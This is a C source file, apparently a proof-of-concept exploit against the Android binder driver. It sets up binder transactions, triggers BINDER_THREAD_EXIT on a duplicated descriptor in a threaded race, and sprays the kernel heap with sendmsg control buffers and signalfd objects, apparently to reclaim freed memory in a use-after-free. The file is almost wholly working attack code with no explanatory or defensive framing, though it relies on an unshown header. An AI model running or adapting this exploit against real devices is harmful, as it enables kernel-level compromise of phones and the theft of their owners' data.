#include "exp.h"
struct spray_thread_data{
     unsigned long trigger_id;
     unsigned long spray_id;
     int sock_fds[2];
     pthread_barrier_t barrier;
};

int signalfd_fds[20][20][20];

static inline void init_binder_transaction(int nb){

     for(int  i = 0 ; i < nb ; ++i){
          struct flat_binder_object * fbo = (struct flat_binder_object *)((void *) (MEM_ADDR + 0x400LL + i*sizeof(*fbo)));
          fbo->hdr.type = BINDER_TYPE_BINDER;
          fbo->binder = i;
          fbo->cookie = i;
          uint64_t * offset = (uint64_t) ((void *) (MEM_ADDR + OFFSETS_START + 8LL *i));
          *offset = i * sizeof(*fbo);
     }


     struct binder_transaction_data btd2 = {
          .flags = TF_ONE_WAY,
          .data_size = 0x28 * nb,
          .offsets_size = 8 * nb,
          .data.ptr.buffer = MEM_ADDR + 0x400,
          .data.ptr.offsets = MEM_ADDR + OFFSETS_START,

     };

     uint64_t txn_size = sizeof(uint32_t) + sizeof(btd2);   

     *(uint32_t *)(MEM_ADDR + 0x200) = BC_TRANSACTION;
     memcpy((void *)(MEM_ADDR +0x204),&btd2,sizeof(btd2));
     
     struct binder_write_read bwr = {
          .write_buffer = MEM_ADDR + 0x200,
          .write_size = txn_size
     };
     memcpy((void *)(MEM_ADDR + 0x100),&bwr,sizeof(bwr));
}

void * spray_thread_func(void * argp){
     struct spray_thread_data * data = (struct spray_thread_data *) argp;
     int delay;
     int msg_buf[SENDMSG_SIZE / sizeof(int)];
     int ctl_buf[SENDMSG_CONTROL_SIZE / sizeof(int)];
     struct msghdr spray_msg;
     struct iovec siov;
     uint64_t sigset_value;

     memset(&spray_msg,0,sizeof(spray_msg));
     ctl_buf[0] = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;
     ctl_buf[6] = 0xdeadbeef;
     siov.iov_base = msg_buf;
     siov.iov_len = SENDMSG_SIZE;
     spray_msg.msg_iov = &siov;
     spray_msg.msg_iovlen = 1;
     spray_msg.msg_control = ctl_buf;
     spray_msg.msg_controllen = SENDMSG_CONTROL_SIZE - WORK_STRUCT_OFFSET;

for(;;){
          pthread_barrier_wait(&data->barrier);

          delay = rand() % SPRAY_DELAY;
          for(int i = 0 ; i < delay ; i++){}

          for(uint64_t i = 0 ; i < NB_SIGNALFDS ; i++){
               sigset_value = ~0;
               sendmsg(data->sock_fds[0],&spray_msg,MSG_OOB);
               signalfd_fds[data->trigger_id][data->spray_id][i] = signalfd(-1,(sigset_t*)&sigset_value,0);
               if(signalfd_fds[data->trigger_id][data->spray_id][i] <= 0)
                  printf("Could not open signalfd - %d (%s)\n",signalfd_fds[data->trigger_id][data->spray_id][i],strerror(errno));
          }
          pthread_barrier_wait(&data->barrier);
   }
     return NULL;

}

void * trigger_thread_func(void * argp){
     unsigned long id = (unsigned long )argp;
     pthread_t spray_threads[NB_TRIGGER_THREADS];
     int ret = 0;
     int binder_fd = -1;
     int binder_fd_copy = -1;

     struct spray_thread_data data;
     data.trigger_id = id;
     if(socketpair(AF_UNIX,SOCK_STREAM,0,data.sock_fds) == -1)
    {
         printf("[-]can not create socketpair\n");
         exit(EXIT_FAILURE);
    }else{
        //printf("[+] created socketpair successfully\n");
    }


     binder_fd = open("/dev/binder",O_RDWR);
     if(binder_fd < 0)
     perror("An error occured while opening binder");
     pthread_barrier_init(&data.barrier,NULL, NB_TRIGGER_THREADS);
   for(;;){
        
          for(unsigned long i = 0 ; i < NB_TRIGGER_THREADS ; i++){
               data.spray_id = i;
          pthread_create(&spray_threads[i],NULL,spray_thread_func,(void *)&data);
          }

          init_binder_transaction(1);
          binder_fd_copy = dup(binder_fd);
          ret = ioctl(binder_fd_copy,BINDER_WRITE_READ,MEM_ADDR + 0x100);
          if (ret != 0)
           printf("BINDER_WRITE_READ did not work: %d\n",ret);
          ret = ioctl(binder_fd_copy,BINDER_THREAD_EXIT,0);
          if(ret !=0)
           printf("BINDER_WRITE_EXIT did no work: %d\n",ret);
          for(int i = 0 ; i < NB_TRIGGER_THREADS ; i++)
           pthread_join(spray_threads[i],NULL);
          close(binder_fd_copy);
}
     return NULL;

}



int main(){
     pthread_t trigger_threads[NB_TRIGGER_THREADS];

     mmap((void*)MEM_ADDR,MEM_SIZE,PROT_WRITE | PROT_READ,MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,-1,0);

     srand(time(0));

     setvbuf(stdout,NULL,_IONBF,0);
     setvbuf(stderr,NULL,_IONBF,0);

     printf("Start trigger threads\n");

     for(unsigned long i = 0 ; i < NB_TRIGGER_THREADS ; i++){
         pthread_create(&trigger_threads[i],NULL,trigger_thread_func,(void *)i);
     }
    //trigger_thread_func(1);
     //for(int i = 0 ; i < NB_TRIGGER_THREADS ; i++)
     //pthread_join(trigger_threads[i],NULL);
}